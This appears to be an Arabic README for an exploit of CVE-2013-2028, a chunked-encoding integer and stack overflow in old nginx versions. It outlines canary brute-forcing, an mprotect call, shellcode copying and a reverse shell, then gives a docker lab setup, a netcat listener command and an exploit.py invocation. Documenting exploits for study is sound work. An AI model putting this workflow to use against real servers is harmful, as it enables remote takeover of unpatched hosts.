استغلال CVE-2013-2028

تفاصيل الثغرة

البرنامج المتأثر بالثغرة: Nginx 1.3.9 < 1.4.0
الالتزام (Commit) الذي يحتوي الإصلاح: https://github.com/nginx/nginx/commit/4997de8005630664ab35f27140e2077e818b21a7

توجد الثغرة في الدالة ngx_http_parse_chunked. يُحدث هذا الاستغلال تجاوزًا في العدد الصحيح (integer overflow) داخل ngx_http_parse_chunked، ثم يستخدم ذلك لاحقًا لتجاوز سعة المكدس (stack overflow) بهدف اختطاف مسار التحكم.

تفاصيل الاستغلال

يتكوّن الاستغلال الفعلي من 4 خطوات:

1. إيجاد قيمة حارس المكدس (stack canary) باستخدام القوة العمياء بايت ببايت (byte-by-byte bruteforce)
2. حساب عنوان mprotect باستخدام القيمة من rcx (تشير إلى مكان ما داخل lpthread). استدعاء mprotect بالوسائط المناسبة.
3. نسخ الشيل كود (shellcode) إلى موقع ذاكرة قابل للقراءة والكتابة والتنفيذ (RWX).
4. القفز إلى الشيل كود، وبدء شيل عكسي (reverse shell).

كيفية إعادة الإنتاج

1. تشغيل مستمع (listener) على النظام المضيف، على سبيل المثال باستخدام netcat: nc -lvp 4345
2. على الجهاز الافتراضي قم بتشغيل docker: sudo docker-compose up --build
3. تشغيل الاستغلال: python2 exploit.py -ra 127.0.0.1 -rp 8081 -la <listener machine address> -lp <listener machine port>
4. اترك الاستغلال يعثر على القيمة الفعلية للحارس (canary)، ثم ابدأ الشيل العكسي.